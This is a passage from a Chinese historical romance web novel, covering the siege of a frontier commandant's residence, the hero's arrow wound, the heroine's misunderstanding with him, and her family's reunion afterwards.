过了片刻,待爆竹已经燃尽,守在外墙的士兵又卷土重来。这次他们都憋着一股劲,势头更加迅猛,成群成群地爬上墙头,黑压压的一片。 侍卫们已是刺不及,迅速点燃地面上的酒水火油。火势迅猛,很快形成一条火障。来不及躲闪的贼军身上沾染了火,疼得满地打滚。墙头上的人不敢轻易上前,一个个趴在那里,只待火势弱下去再攻进院内。 贺玄度一面示意弓箭手射击,一面让人在火上撒去面粉。 一时乱箭齐发,又听一声巨响,面粉在空中爆了开来,巨大的冲击力将骑在墙头的贼军震下墙来,碰到火又烧了起来。 血腥味混合着烧焦的味道弥漫在空中。 墙头终于静了下来。 可府内的侍卫们却不敢有丝毫放松,他们都知道,火不会一直烧下去,待火熄灭,他们最后一道防线也将荡然无存。 不知过了多久,墙外再次传来骚动,贼军们又死灰复燃,纷纷跃过墙头翻进院内。 随着贺玄度一声“杀”,侍卫们纷纷举枪与贼军厮杀开来。 最初侍卫们还算有点优势,可敌人实在太多,渐渐便有些力不从心。 人群中,贺玄度早杀红了眼,玄色的衣袍上湿漉漉地滴着血。 看着越来越多的贼军,他心内盘算着,再坚持坚持,只要一刻,一刻便好。 一声闷响过后,都尉府大门被贼军从外攻破,厮杀声四起。 贺玄度咬紧受伤右手上的布条,提起银枪奋力与贼军缠斗在一起。 贼军越来越多,且新涌上来的贼军个个战力非凡,贺玄度与一众侍卫很快便被围了起来。 郑刺史信步踏进来,对着贺玄度道:“贺二公子,方才好言相劝你不听,如今可后悔?” 贺玄度顺手擦干嘴角的血,嬉皮笑脸道:“你别说,我还真后悔了。郑刺史,不如你放我一马?我保证,出了这个门,就将今晚之事忘得一干二净,怎么样?” 郑刺史脸上一僵,这个贺二公子,怎么软骨头到如此地步。 他冷笑一声,“可惜啊,晚了。给我……” “等等,等等。”贺玄度及时叫住郑刺史。 “郑刺史,有件事我想你有必要知道。就是,你儿子,的确是我出手打成猪头的。” 郑刺史脸色铁青,“贺玄度,死到临头,你还敢如此张狂?” 贺玄度摆手,“误会,都是误会。你为刀俎,我为鱼肉,哪敢呢,我不过是想和你做个交易。” 郑刺史冷笑:“你以为我不知道你的伎俩,不过就是想拖延一些时间,给我……” 贺玄度高声道:“难道郑刺史想断子绝孙吗?” 郑刺史挥在半空的手顿住了,怒道:“你对我儿做了什么?” 他如今已年过四十,膝下只有郑充一个儿子,一向宝贝得紧,乍听贺玄度一说,登时紧张起来。 “也没什么,就是趁着他这些日子用药的时候,找人将一些小东西加了进去,让他这辈子都难抬起头来。”贺玄度话锋一转,“不过,也不是不能治,只是需要对症下药。这个对症下药的意思,就是即便是神医,不知道下了什么药,也难根治。” 一旁蒙面之人在旁提醒道:“郑刺史,别信他。这些日子以来,刺史府被围得铁桶一般,他根本没机会动手。” 贺玄度暗自焦急,眼下这个情况,若他奋力,确实可以勉力突围。可是这些侍卫呢,他们又当如何? 还有柳舜华,也不知道她那边如何,有没有说动那些人? 他必须争取时间尽量拖延,他不能让柳舜华失望。 然而他面上却一派悠然,“郑刺史,信 不信由你。不过这可是关系到你们家族延绵的大事,你可要想好了。” 郑刺史稍一迟疑,“都给我听好了,活捉贺玄度,其余人等,格杀勿论。” 贼军们得了令,一涌而上。 突听一声高喊,震破云霄,“贼子乱国,兄弟们,这个郑不死的害咱们落草为寇,杀敌的机会来了,跟他们拼了。” 柳舜华带着程三他们及时赶到。 贼军们不妨竟还有人,一时措手不及,被冲得四散开来。 程三他们的加入,让战局有了一些新变化,许是知晓没有退路,他们一个个卯足了劲,越杀越猛。 贺玄度终于抽出手来,他杀到程三身旁,低声快速说道:“擒贼先擒王,他不防你,先去将他擒了。” 程三虽不认识贺玄度,但见他举止镇定,说得十分在理,当即点头,直奔着郑刺史而去。 贺玄度厮杀的间隙,不住地张望,终于在混乱的人群中发现了柳舜华的身影。 她跟在狱卒的身后,拿着一把大刀,尽管双手不住地颤抖,却紧紧握着,费力地自保。 她那一双手,纤细而柔弱,本可在闺阁中悠闲地描眉簪花,如今却要握住长刀,周旋在贼军之中,随时都可能丧命。 她明明怕得要命,却还是留了下来。 火光中,她的脸被映得通红,额头上溅了一片血,像极了暮落的朱槿,温柔又炙热,顽强又不屈。 这一刻,贺玄度心中只有一个念头。 她绝不能死在这! 贺玄度举起长枪,一路杀过去,伸手拉住她的手腕,将她护在身后。 柳舜华猛地被一个强有力的大手拉过,遽然一惊,抬头见是贺玄度,话还未说出口,泪已是先流了下来。 真好,有贺玄度在,她什么都不怕了。 贺玄度虽要护着柳舜华,不好施展,但郑刺史曾发话,要活捉贺玄度,是以他也不至于成为靶子。 夜色深浓,久攻不下,郑刺史已没了耐心,他暴怒:“给我放火,烧了都尉府,一个都不要放过。” 话音方落,他还未及转身,只觉颈上一片冰凉。 程三趁人不备,杀到后方,将刀架在郑刺史的脖子上。 他身法奇快,便是贺玄度都忍不住在心内赞叹。 郑刺史吓得浑身发抖,“你……你要干什么?” 程三一声冷笑:“让他们停下来,撤出去。” 郑刺史硬声道:“做梦,今晚你们一个都跑……啊……” 程三手上一狠,郑刺史脖子上顷刻血流如注。 郑刺史见他来真的,不敢再硬气,慌道:“退退退,都给我退出去。” 贼军一听,相互看了一眼,缓缓向后撤。 “不能退,都尉府勾结匈奴作乱,火烧都尉府,你们便是镇压乱贼的功臣。退了,你们将再无出头之日。郑刺史,您为国捐躯,事后我们自然会记得您的功劳。” 浑厚的声音从贼军中传出。 人群中很快传来附和声,“没错,兄弟们,立功的机会就在眼前,不能就这么放弃了。” “过了今晚,咱们就都是功臣,不能退缩。” 一石激起千层浪,一番权衡利弊,方才还纷纷撤退的贼军,像打了鸡血一样,重新厮杀起来。 郑刺史两眼一黑,骂道:“刑风,你个狗东西,你敢……” 厮杀声很快将他的声音淹没,双方又缠斗在一起。 程三咒骂两句,一把将郑刺史推开,转身朝着贼军杀去。 贺玄度拉着柳舜华,奋力躲闪。贼军杀得正酣,没人再去管郑刺史先前的话,贺玄度也渐渐支撑不住。 箭矢破空,无数支带着火焰的箭朝着众人射去。 一支箭朝着柳舜华射去,她正挥刀砍向贼军,根本躲闪不及。 “小心。”贺玄度及时将她推开。 程三也杀到柳舜华身边,“柳小姐,你怎么样?” 柳舜华摇摇头,“无事,你不用管我。” 乌云遮月,天穹一片黑暗,像是个巨大的黑洞,随时要将人吞噬。 正厅前的匾额被射中,轰地一声落地,烧了起来。 柳舜华看着贺玄度,握紧了他的手。 这次她感受到了,他的掌心,温暖炙热。 前路未卜,可她却丝毫无惧,哪怕重活一世,哪怕一样葬身火海。 她方想张口,却听贺玄度轻声道:“快来了。” 柳舜华诧异道:“什么,你说什么来了?” 话音方落,只听咚咚咚的脚步声渐渐逼近,外头的贼军像见了鬼一样,不断后退。 柳舜华不知发生了何事,紧盯着门外。 片刻后,一队身穿盔甲的将士涌了进来,紧接着一个高大的身影出现在眼前。来人身穿甲胄,身姿英武,双目囧囧,宛若天神。 柳舜华惊喜万分,竟是万都尉。 “都尉,都尉。” “都尉回来了!” 侍卫们纷纷激动高呼。 郑刺史脸色发白,嘴里不停嘟囔着:“怎么可能,怎么可能?” 贼军抵挡片刻,见大势已去,纷纷放下武器,一个个举起手乖乖缩在角落里。 万都尉的精兵很快将贼军团团围住,余下众人忙着去救火。 天边乌云散尽,天幕下露出薄光。 厮杀声渐渐止息,侍卫们拼杀了一夜,一个个跌坐在地上。 程三双手一抖,手中的长刀应声落下。 今夜,总算是要过去了。 柳舜华望着走来的万都尉,看着贺玄度,声音哽咽,“贺玄度,太好了,咱们都还活着。” 贺玄度却没有回答。 柳舜华觉出一丝不寻常,拉着他的手臂,柔声道:“贺玄度,你怎么了?” 黏腻温热的触感让她浑身一颤,她翻过手掌,掌心一片猩红。 她转过头一看,整个人僵在原地。 贺玄度背上竟插了一支箭。 贺玄度脸色煞白,朝着她笑了笑,头一歪,倒在她的肩上。 第40章 第40章有什么东西,轻飘飘的,…… 柳舜华头痛欲裂,猛然惊醒。 前尘往事梦一般在脑海中飘过,相府那场染红半边天的大火,都尉府漫天的厮杀,还有贺玄度浑身是血地倒在她面前…… 她睁大双眼,呆呆地望着陌生的床榻,一时不知身在何处。 “柳小姐,您醒了?” 柳舜华怔愣地看着眼前的侍女,一脸茫然。 侍女笑了笑,“柳小姐,这里是都尉府。万都尉已经将贼人全部擒获,眼下安全得很,您不用担心。” 柳舜华缓过神来,急切道:“贺玄度呢,他怎么样?” 侍女拿了准备好的衣物,递给柳舜华,“柳小姐不用急,贺公子好着呢。” 柳舜华却根本不信,“怎么可能,他明明中了箭的。” 侍女低头笑了一下,“都尉已经请人帮贺公子医治,箭上无毒。公子身体好,往日里比这更重的伤都有呢,如今这个伤势,只需休养个五六日便能恢复。” 柳舜华听她说并不严重,才稍稍安心。 才换好衣裙,还未出门,便见有人一头扑在她怀里,上气不接下气地哭了起来。 “姐姐,我以为……我……” 柳舜华心疼地摸着柳棠华的头,“好了,别哭了,姐姐这不好好的。” 侍女见她们姐妹相聚,很识趣儿地退了出去。 柳棠华慢慢从她怀里起来,肩膀尤自颤抖,委屈地擦着泪。 柳舜华抚着她的肩膀,问道:“你怎么会在这,你们没有出城?” 柳棠华吸了吸鼻子,“一出城我们便碰到了吴江他们,我就慌忙叫住他,告诉他都尉府有难。” 柳舜华道:“吴江是谁?” 柳棠华:“就是咱们遭遇贼匪那次,那个给我讲故事的。” 柳舜华有些印象,当初她们离开时, 那个站在前排,红着眼的小兵。 “可是,万都尉怎么可能这么快从前线赶过来?” 柳棠华抬头道:“万都尉一直都在城外。” 柳舜华愕然,万都尉没去前线对付匈奴骑兵。 柳棠华张了张嘴,犹豫一下,还是说道:“姐姐,还有一事我觉得有些奇怪。” “我们找上万都尉,方说了都尉府的情况,便看有人慌慌张张地赶了过来报信。你猜,来人是谁?” 柳舜华凝眉道:“我认识?” 柳棠华点头,“对,就是醉月居那个摇骰子的舞姬,唤作金芝。” 柳舜华整理着脑中散落的碎片:醉月居,舞姬,郑充被打,范神医,匈奴奇兵,程三他们被关在都尉府地牢…… 将所有的线整理好,她好像明白了什么。 万都尉在下一盘大棋。 “姐姐,你在想什么,是不是也觉得那个舞姬出现得太巧了?”柳棠华眨着眼问道。 柳舜华不想让她牵涉太深,转头问:“外祖他们都还好吧?” 柳棠华笑了起来,“外祖他们都挺好,就是表哥们不怎么好。遇到万都尉后,外祖才知姐姐并没有出城,对着表哥们骂了一晚,他们一个个愧疚得一晚上没敢合眼。” 柳舜华笑出声来,“你先回去,让他们别担心,我处理好一些事,稍后便回去。” 柳棠华撇着嘴,“姐姐,你还要在这里多久啊?” 柳棠华摸了摸她的脸,“很快。” “柳小姐,现下都已过了午时,饿坏了吧?”方才的侍女端着个小锅走了进来。 她身后紧跟着两个侍女,手里皆拿着小碗,并一些调味之物。 柳棠华一看,睁大双眼,都尉府用膳也太体贴了点。 侍女将锅放下,掀开锅盖,锅内羊汤还在咕嘟咕嘟地翻滚,热气瞬间飘散,一股肉香迎面扑来。 她拿过碗,盛了一碗满是羊肉的汤,夹了些葱花,撒上一层胡椒,递给柳舜华。 “表公子说,柳小姐喜欢羊肉汤,我便一早让人备下了。虽说如今天热了起来,但小姐连日辛劳,喝点汤发发汗,补一补也是极好的。” 自昨日起,柳舜华便忙于奔波,这会是真饿了。 她接过羊肉汤,喝了几口,眉头微微一动。 这味道,同在长安与贺玄度吃的那家几乎毫无二致。 她疑道:“贺玄度已经醒了?” 侍女笑道:“表公子身体好着呢,今晨便醒了。听说您受到惊吓晕倒了,爬着要过来看您呢,被范神医死活给按住了。” 说完看了一眼羊肉汤,又道:“他怕您醒来饿着,让我备了您喜欢的羊肉汤,说要用鱼汤熬制打底,羊肉要选羊腿肉,还要炖得烂烂的。” 柳棠华听得目瞪口呆,她听说贺玄度背上中了一箭。人都这样了,还不忘亲自叮嘱吃食。 柳舜华匆匆将手中的喝了个精光,一转头,见柳棠华盯着锅,口水都快流了出来。 她笑了笑:“是我疏忽了,忘记你也没吃。这样吧,你也不必急着回去,先在这吃了汤,稍后咱们一起回。” 侍女听到,即刻盛了汤端给柳棠华。 柳棠华得了汤,深吸了一口气,也不要汤匙,就着碗喝了一大口,这才满足地放下,“姐姐,你是去要看贺公子吗?” 柳舜华脸上微红,咳了一声,揉了揉头,“贺玄度先是帮忙救出了表姐,又替我挡了一箭,论理说我……” 柳棠华压根不关心这些,摆摆手道:“姐姐你去吧,我在这喝着汤等你回来。” 贺玄度躺在病床上,背上的伤疼得他根本无法安眠,只能拿着一根小木棍,在地上画了个圆,看着蚂蚁在圈内费劲巴拉地跑来跑去。 都尉府上下都在忙着清理烧坏的房屋,安抚受伤的侍卫,舅舅又在审问郑刺史。他一个人傻躺着,不免觉得无聊。 他突然想起在相府被打后,也是这般无趣,多亏了柳舜华送他竹节人打发时间。只是可惜,竹节人被他留在了相府。 一会走神的功夫,地上的蚂蚁很快便要逃离,他忙举着木棍,试图重新划分疆域。 一袭雪青流云锦绣裙扫过地面,停在木棍旁。 贺玄度顺着衣摆朝上一看,喜道:“柳舜华,你醒了?” 柳舜华垂头看了眼木棍,眉头蹙了一下,很快又舒展开来。 贺玄度顺手将木棍丢在一边,献宝似的问:“羊肉汤你喝过了吗,怎么样,是不是和在长安喝过的一样?” 柳舜华嘴角翘起,“你对吃食,还真是独到。只喝过那么一回,就能猜到别人家的配方。” 贺玄度默然一笑,哪里是他天赋惊人,不过是后来去吃得多了,同店铺老板聊得多了,慢慢就知道了配方。 柳舜华靠过去,寻了个离病榻近点的地方坐下。 “你感觉怎么样,还疼吗?” 贺玄度笑道:“就这一箭,还伤不了我,放心吧,我好着呢。” 柳舜华想起侍女的话,看着他的后背,轻声道:“你此前也常受伤?” 贺玄度垂下眼眸,苦笑一声,“你不知道,我有几年没在丞相府,而是跟着舅舅在这生活。舅舅这个人什么都好,就是管得格外严。他自己是武将,要日日早起晨练,便逼着我也跟着他一起练。我吃不得苦,每次都偷懒,几年下来虽练得不上不下,但若遇贼人,还是能勉强应付一下。” 柳舜华知道他曾在凉州生活,只是因他断了腿,从没想过他还会功夫。 昨日打斗之时,她虽过去得晚,并未瞧见贺玄度与刺史府的贼军厮杀,但他护着她杀敌那架势,绝不像是花拳绣腿。 柳舜华心中隐隐有些猜测,但转头看到扔在地上的木棍,又不禁觉得好笑。 她想了想,“你这么躺着是不是有些无聊,等我回去,再做个竹节人给你玩如何?” 贺玄度一听,竹节人果然是她自己做的,心里当即暖暖的。 他的确有些无聊,但昨日一场混战,柳舜华此时必定也是劳累至极。 他换了个姿势,让自己趴得更舒服些,“先不用,我这会手上无力,做了怕也是让你白费功夫。” 柳舜华点头:“也行。” 日光透过窗子照在贺玄度的脸上,他脸色尤有些泛白,整个人看起来冷浸浸的,额前几缕发丝散乱落下,眼中带着几分淡淡的懒意。 因在病中,他也没那么多讲究,褪去素日里花里胡哨的锦衣,只穿了件素袍。这样安静又淡然的模样,与前世毫无分别。 柳舜华双眼迷离地盯着这张脸,仿佛又看到他坐在亭边轮椅上,风吹过莲池,撩动他的衣襟,手中的书卷倏忽翻了一页。 这样的贺玄度,她许久未曾见过了。 贺玄度觉察到她的目光,抬起头来。 他能感觉到,她的的确确是在看他,可不知为何,眼神中却是化不开的失落与哀伤。 贺玄度不明白,她为何突然这么看他,明明就在昨日,他们才一起经历生死。 这个眼神,让他很不舒服。 有那么一瞬,他甚至觉得,昨日他们经历的一切不过是过眼云烟。 他本就在病中,莫名有些胸闷,再仰起头,声音中多了几分疏离和冷淡,“你到底在看什么?” 柳舜华恍然回神,不解地看着贺玄度,这人怎么好端端的突然就生气了。 细细一想,许是他受了伤的缘故,躺在病床上有些憋屈,心中难免有些火气。 她知他心里不畅快,也不跟他计较,只是朝着他笑了笑,“你别急,范先生医术了得,过几日你便能下床了。” 贺玄度心下愈加不满。 她岔开话题,可见心虚。 等了片刻,柳舜华还是没有多余的解释。 他忍不住抬起头,闷闷地问:“柳舜华,你为何要过来?” 柳舜华没有听清,凑近道:“你说什么?” 贺玄度看着她的眼睛,“我说,都尉府如何与你何干,你为何要跑过来,你为何要留下?” 她明明可以走的,可却选择留下陪着他。 他一度以为,她对他是不同的。 可方才她的眼神…… 为何要留下? 柳舜华默默想着,因为他是贺玄度啊,那个不管她愚蠢无知还是浑浑噩噩,都不曾轻看她,一心想要将她拉出泥沼的人。 她咬着唇,不知如何开口,看着他背上的伤, 反问道,“贺玄度,那你呢,为何要替我挡那一箭?” 贺玄度一愣,见她三番两次转移话题,赌气道:“你不顾危险跑来告知详情,我自然要护你安全。莫说是你,便是随便任何人,我都一样会护着她。柳舜华,你以为我为你挡了一箭,就可以任由你戏弄?” 柳舜华有些怔愣,只是,因为这样? 她以为,贺玄度对她,是不同的。 天地一片昏沉,她满脑子只听到贺玄度方才那句:换作任何人,他都会一样。 没错,他本来就是一个良善之人,在他眼里,她与其他人并无任何分别,他对她并无多余的心思。 一瞬间,柳舜华羞愧万分,她误会了贺玄度的心思。 她以为,她是在帮他,殊不知却为他带来困扰。 若是没有她,贺玄度照样能坚持到万都尉赶过来,而且也不会受伤。 见她垂眸不语,贺玄度方觉他的语气重了些,他缓声道:“你还没说,为什么留下。” 她心慌意乱,攥紧双手,努力让自己看起来镇定从容,生怕他看出自己幽暗的心意。 “万都尉此前帮过我,你又帮忙救出了我表姐,于情于理,我都应该这么做,不然岂不要良心难安。” 贺玄度神色一变,连声笑道:“好,好,好得很。” 贺玄度一向爱嬉笑玩闹,偶尔生气,也只是像炸毛的小狗一般,只要顺着他,便能让他消气。可今日,不知为何,他虽是笑着,眼中却满是冷意,整个人更像一头隐藏怒气的狮子。 柳舜华茫然无措,不知道她究竟说错了什么。 屋内瞬间安静下来,风似乎被遏住了,贺玄度心内躁热不已。 他转过脸,不再看她,静静地望向窗外,半张侧脸冷淡而疏离。 他这个眼神,明明像极了前世那个她熟悉的贺玄度,柳舜华心上却没由来一阵恐慌。 她下意识想握紧双手,却感觉有什么东西,轻飘飘的,正从她指尖流失。【你现在阅读的是 】 40-50 第41章 第41章你就作吧,这么好的姑娘…… “从昨晚忙到现在,终于得空……” 万都尉踏进来,看到两人,一个躺在床上生着闷气,一个坐在榻上一脸茫然。 柳舜华见是万都尉,起身施礼。 万都尉虚扶一下,正色道:“柳小姐,实在是太见外了。这次多亏了你们,不然,都尉府危矣。” 柳舜华忙道:“哪里,万都尉运筹帷幄,我不过是做了凉州百姓应该做的而已。” 万都尉爽朗一笑,“你这丫头,就是心思活。” 柳舜华看了一眼贺玄度,“既然万都尉有事,那我就先不打扰了。” 说罢,便起身走了出去。 等她出了门,万都尉瞪了贺玄度一眼:“人都走了。你这个臭小子,是不是又说了什么不着边的话,把人给气着了。” 贺玄度嘴硬道:“她走不走关我什么事?” 万都尉指着他,“你就作吧,这么好的姑娘,错过了可就真没了,你后悔都没地方哭。” 贺玄度悻悻垂头,“没了就没了,反正她也不在乎我。” 万都尉就势坐下,“你是不是整日装纨绔装得脑子都不好使了?明眼人都看得出来,柳姑娘有多看中你。她如果不拿你当回事,会不顾危险地跑来给你通信?” 贺玄度抬头看了一眼万都尉,哼了一声,“那是此前您救过她,她感恩您,才跑来帮都尉府。” 万都尉听他阴阳怪气,一巴掌就要落下去,想着他受了伤,终是停住了。 “她若是只感激我,大可告信之后自行离去。还有,方才我过来之时,可是瞧得真切,人家一门心思都在你身上。” 贺玄度嘴角含笑,往万都尉那边挪了一下,“真的?” 万都尉瞧他笑得都裂开了的嘴角,嫌弃道:“你瞧瞧你,哪里有平日里杀伐果决的样子,和你纨绔时候的蠢样没什么分别。” 他叹了一口气,“有时候我就想,你这纨绔装久了,到底是好还是不好?别装到最后,真成了个纨绔才好。” 贺玄度漫不经心道:“真纨绔也好,假纨绔也罢,不过是为达到目的戴的一张面具而已。其实,当个纨绔也没什么不好,自在随心,别人怎么看,随他们去。只要……” 万都尉问:“只要什么?” 贺玄度没有说下去,而是问:“舅舅,郑刺史那边怎么样了?” 万都尉眉头一皱,“他虽是个软骨头,但毕竟还有个儿子在,估计是受制于人,只招认他与匈奴勾结,妄图诬陷于我,却始终不肯承认是彭城王指使。” 贺玄度想了一下,问:“那伙贼匪呢,有没有拷问?” 说到这个,万都尉又靠近些,“多亏你耳朵灵,听到那贼首的名字,他虽趁乱跑了,但到底不是毫无收获。” 贺玄度问:“他们是什么人?” 万都尉一笑,“我们根据那个叫刑风的,威逼利诱了一些胆小怕事的喽啰,顺藤摸瓜,查到他们是千机阁的人。” 千机阁,江湖上的杀手组织。传闻阁中杀手个个功夫了得,手段狠厉,这些年没少在江湖中引起争端。 千机阁也是彭城王的暗中势力,可见其野心。 彭城王不但勾结匈奴,妄图诬陷都尉府,竟还私养死士,这次绝对是一个将他拉下马的好时机,只是郑刺史…… 贺玄度猛然抬头,问道:“郑充人怎么样?” 万都尉叹声道:“晚了,咱们的人赶到刺史府的时候,他已被人带走。” 这下麻烦了,郑刺史最看重他这唯一的儿子,只要千机阁控制着郑充,他绝不会轻易招认。 贺玄度揉揉头,“郑充被人带走,那刺史府的证据应该也没有留下。千机阁的人,动手还真是快。” 万都尉点头,“真是没想到,这群贼匪是千机阁的人,难怪当初下手这么狠。郑列这厮,也太狠了些,完全不顾下面百姓的死活。” 贺玄度冷笑一声,“匈奴都能勾结,这点又算什么?若不是当初舅舅觉察出匈奴动机不纯,留了曹护军顶着,这会都尉府已经是尸山血海了。” 万都尉握紧拳头,“当初我只是以为刺史府掌握了匈奴的动向,妄图抢在我前面出击,夺取功劳,没想到……这个郑列,我还真是高看他了。” 他看着贺玄度背上的伤,有些心疼,“只是为了这出戏,将你陷入险地,还害你受了伤。这次,当真是惊险,幸亏此前留下那些假贼匪,勉强抵挡片刻,不然……还真是后果难料。” 贺玄度道:“的确,他们杀敌都是一等一的好手,尤其那个程三,沦为贼寇实在可惜。” 万都尉想了一下,说道:“那些假贼匪御敌有功,又多受了伤,我已经安排医治了。等你伤好了,不如替我想想,怎么安置他们。” 贺玄度为了等柳舜华,一直没合眼,这会已是有些倦了,懒洋洋地打了个哈欠,“好,舅舅安心处理郑列之事便好。” 万都尉拍了拍他的肩,“你先好好休息,郑列那边有我。” …… 柳舜华一路郁郁,满脑子都是贺玄度方才冷冷的神情,上马车时险些跌倒。 柳棠华及时扶住她,“姐姐,是不是贺公子情况不太好,怎么你看完他就恍恍惚惚的?” 柳舜华木然地上了车,眼睛盯着都尉府的大门,“他无事,只是……是我多事,让他有了困扰。” 柳棠华挠挠头,“什么多事,困扰的?你是不知,贺公子有多紧张你。你昏睡之时,贺公子每隔一阵子便让人回禀一次,生怕你有个好歹。” 柳舜华心内酸楚,“那是因为我去报信,换做其他人,他也一样。” 柳棠华撇撇嘴,“姐姐,我原以为你是聪明的,怎么也这么糊涂?贺公子待你如何,有眼睛的都能看到。自来了凉州,他又是帮忙对付郑充,又是帮忙救表姐,还替 你挡了一箭。你瞧着方才,怕你饿着,锅都给你端了上来,怎么能说和其他人一样呢?” 柳舜华扑哧一笑,这丫头,扯来扯去,总是能扯到吃上。 柳棠华凑过去,笑道:“姐姐,你平日不这样的,怎么今日患得患失的?我发现,一碰上这个贺公子,你就有些不太像你了。” 柳舜华细细思索着柳棠华的话,想起贺玄度素日待她的好,也觉方才的反应委实有些过了。可当时一看到贺玄度冷脸,她茫然又委屈,情绪不受控制,根本由不得自己。 她沉下心来,不能仅凭今日一句话,就否认了贺玄度的心意。即便他对她没有多余的心思,也绝不至于会厌恶她。贺玄度受了伤,急躁一点也在所难免。如此安慰自己,才渐渐顺过气来。 回到家中,外祖一把拉过她,不停落泪。 舅舅、舅母与两个表兄妹过来劝慰半日,方才止住。 正厅内,外祖脸色凝重,“你这丫头,怎么这么大的事,也不跟家里面的人说一下。这么危险,若是万一……” 外祖说着,想起昨日的惊险,想起柳舜华过世的母亲,又垂泪不止。 舅舅跪倒在地,“爹,都怪儿子不中用。但凡我有些能力,怎么会让茵儿受这些苦,让蓁蓁冒这个险?” 舅母也跟着跪下,“我也有错,我去刺史府几趟,没能看出茵儿她在受着折磨,我对不起孩子们。” 表兄妹一看,也跟着要跪下。 外祖看着众人,颤声道:“都给我起来,这么跪着,成何体统。” 陈茵早哭成了个泪人,却不敢出声,只是默默地流泪。 外祖看着陈茵,好好一个姑娘,如今瘦得皮包骨头,一颗心像被刀滚过一样。 “茵儿啊,都是祖父的错,祖父对不起你,把你嫁到那个虎狼窝里……” 陈茵走过去,跪在外祖身边,“祖父,您这样说,孙女真是要愧死。您都是为我好,一心想我嫁个好人家,是那郑氏父子狼子野心,怎么能怪您呢?” 外祖忙扶起陈茵,“你身子弱,快起来。” 柳舜华走过去将表姐扶到椅子上,朝着众人笑道,“今天是个大好的日子,家里人都团团圆圆的,那些不好的事,都过去了。舅妈,我饿了,今晚咱们早些吃个团圆饭,可好?” 外祖擦了眼泪,“蓁蓁说得对,咱们就不要去想过去那些乌糟事了。今晚,就开开心心地吃个团圆饭。” 舅妈“诶”了一声,“我这就去准备。” 待众人散去,外祖单独留了柳舜华问话。 柳舜华心虚,乖乖站着一动也不动。 许久,外祖才叹一口气,指着她道:“你这个犟脾气,和你母亲一个样。一旦决定的事情,十头牛都拉不回。你倒是好了,独自一人去都尉府逞你的英雄,可你有没有想过,万一你出了事,外祖怎么能安心,你舅舅舅母,表姐怎能安心?” 柳舜华作势要跪,外祖瞪了她一眼,“你给我好好站着。” 柳舜华上前,拉着外祖的胳膊,“外祖,我错了,我下次再也不敢了。” 外祖拉开她的胳膊,“你别嬉皮笑脸,我问你,你同都尉府的表公子是怎么回事?” 柳舜华一愣,没想到外祖竟知道了贺玄度。 她垂下头,心虚道:“没怎么回事啊?就是来凉州的路上,我们遇到了一点小麻烦,恰好遇到万都尉,万都尉帮了我们。小时候,您不是常教我,滴水之恩,涌泉相报的嘛。我就想着,都尉府有难,我不能袖手旁观,就回去报信啊,谁知道刺史府的人动作那么快,围住了都尉府,我想出来也出不来啊。” 外祖皱眉,“我问你贺公子,你这啰啰嗦嗦地说这些做什么?” 柳舜华摆手道:“外祖,我同贺玄度也没那么熟,真的没什么关系。” 外祖狐疑道:“不熟,我怎么听莹丫头说,他还帮忙救茵儿出来呢?” 柳舜华:“那是他和郑充有仇。” 外祖想了一下,“那替你挡箭是怎么回事?” 柳舜华道:“那是他人好。” “如此说来,这贺公子当真是个不可多得的好男儿。”外祖点头,思忖片刻,缓缓道:“这样,待他伤好了,我要备礼登门道谢。到时,你同我一起。” …… 因此前柳舜华姐妹睡着陈茵旧日闺房,晚间休息时,她便同妹妹陈莹挤在一起。 陈莹心疼姐姐受的苦,更因误会姐姐而羞愧,巴不得同她睡在一起,好好安慰。 刺史府一事尘埃落定,陈茵明显松快下来。几人起初为照顾她的情绪,讲话还有些小心翼翼,陈莹与柳舜华拼命回忆一些旧日趣事,试图去逗陈茵开心。 刺史府之事虽告一段落,但陈茵心上的伤却是丝毫不减,一直垂眉低眼。 陈莹看在眼里,劝慰道:“姐姐,刺史府那种狼窝你都能逃出生天,这是大造化。今后,福气在后头呢。” 陈茵勉力一笑,“什么造化,福气的,只要不丢陈家的脸,我已是感恩戴德。” 陈莹眉头一凝,“姐姐这是说的什么话,你能回来,家里人不知道有多高兴。外人说什么,由他们去,你回家吃的是陈家的饭,与他们何干。” 陈茵垂下头去,“可我到底是嫁出去的女儿,若是一直留在这,受人指点非议,让弟弟们如何娶亲?” 柳舜华心上一颤,表姐没有说“家”,而是说“这里”。 她想起了前世,嫁入相府后,她何尝不是这样的心思。 柳棠华摇摇头,“表姐不对,这里也是你的家啊。表兄个个都是明理之人,怎么会在意这些?我兄长就说过,若是我不嫁,他养我一辈子。” 陈茵摸着她的头,小丫头当真天真得紧,哪里知道人言可畏呢。即便是没有这些流言蜚语,往后漫长岁月里,亲近的人终会迎来更亲的人,一步步慢慢来替代她。她不想,成为任何人的阻碍。 她低头沉默片刻,缓缓道:“我想,搬出去住,顺便做点营生养活自己。” 陈莹悻悻道:“姐姐干嘛要出去,出去后能做什么?” 陈莹抬头,毫无生机的脸上突然有了光彩,“我在家时便擅厨艺,刺史府几年也没少伺候那对挑剔的父子,此前我就一直想着,若是有朝一日能摆脱刺史府,便出去自力更生,外面天地广阔,总有我的容身之地。” 原本柳舜华还有些忧心表姐受此打击,会一蹶不振,没想到她会有此打算。表姐被刺史府磋磨多年,却还能如此清醒,提早便为以后的生活铺路,不由对她心生敬佩。 柳舜华极力支持道:“表姐,我觉得你说得对。我这里还有些多余的钱财,咱们这几天就可以去看铺子。” 她知晓,表姐从刺史府出来,什么都没有带。如今刺史府被封,昔日那些东西,怕是要充公。舅舅这边又没有什么多余的钱财,两个表兄又渐渐大了,往后花钱的地方多着呢。她来凉州时,正好带着贺玄度此前送的金饼。 陈莹有些不解地看着柳舜华,“我姐姐她才……,即便是要自力,眼下也未必是好时机,总归是太急了些。” 柳舜华却劝道:“但凡做了决定,最忌犹豫不决。我知道你在 担心什么,一是流言蜚语,一是往后的出路。流言这种东西,大多只是一阵,等什么别的新鲜事出来,谁还会记得。至于出路,我小时候跟在表姐后面长大,表姐的手艺,我比谁都清楚。” 一番话说到了陈茵心坎里,她眼中含着泪,“蓁蓁,你不但帮我逃了出来,还这么支持我,我都不知该如何感谢你……” 不等柳舜华回应,柳棠华便笑道:“表姐,我姐姐是拿你当亲姐姐看的,你说感谢,可就显得生分了。” 陈茵跟着笑了起来,看着柳棠华道:“我算是知道你姐姐为何来凉州也要带着你了,你这个小甜豆,真是让人喜欢。” 陈莹哼了一声,“姐姐,你夸她不夸我,我也可甜了呢。” 柳舜华指着墙上的鞭子,笑得捂住肚子,“你还甜,你啊,就是个小辣椒。” 众人忍不住,都跟着笑了起来。 气得陈莹从床上爬起来,上去就要抓她,几人打打闹闹,刺史府带来的阴霾很快散去。 这一夜,柳舜华睡得格外香甜。 